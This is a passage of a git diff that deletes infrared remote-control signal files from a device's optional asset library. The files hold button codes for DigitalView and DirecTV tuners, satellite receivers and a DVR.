00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 19 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 1B 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 1D 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 1E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 1F 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 20 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 22 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 23 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 24 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 25 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 28 00 00 00 -# -name: Meter -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir deleted file mode 100644 index 6e66d6a1d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SCAN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: N7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: N10 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: SBS -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: N9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: ABC -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 18 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: ASP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1B 00 00 00 -# -name: CC/TT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: RD/TV -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1D 00 00 00 -# -name: NXT_ALT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 80 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir deleted file mode 100644 index f37df7213..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: FFORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: COLOR-RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: COLOR-YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: COLOR-GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: COLOR-BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir deleted file mode 100644 index 8067f9a8e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CLEAR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: GO_BACK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 53 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 56 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 57 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 58 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 59 00 00 00 -# -name: FETCH -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 93 00 00 00 -# -name: ARROW_OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir deleted file mode 100644 index 6a9c4e691..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DSS/12,-1.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: C-UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: C-DWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: C-LF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: C-RT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: SQUARE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: ARROW_AROUND_TO_RT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: ARROW_AROUND_TO_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir deleted file mode 100644 index 86da963b0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/DVR/133,48.ir +++ /dev/null @@ -1,434 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DIRECTV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: DIRECTV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: JUMP_/_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: JUMP_/_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER_/_LAST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER_/_LAST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 36 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 44 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 45 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 45 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir deleted file mode 100644 index 65b83392c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREV._CH. -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Receiver 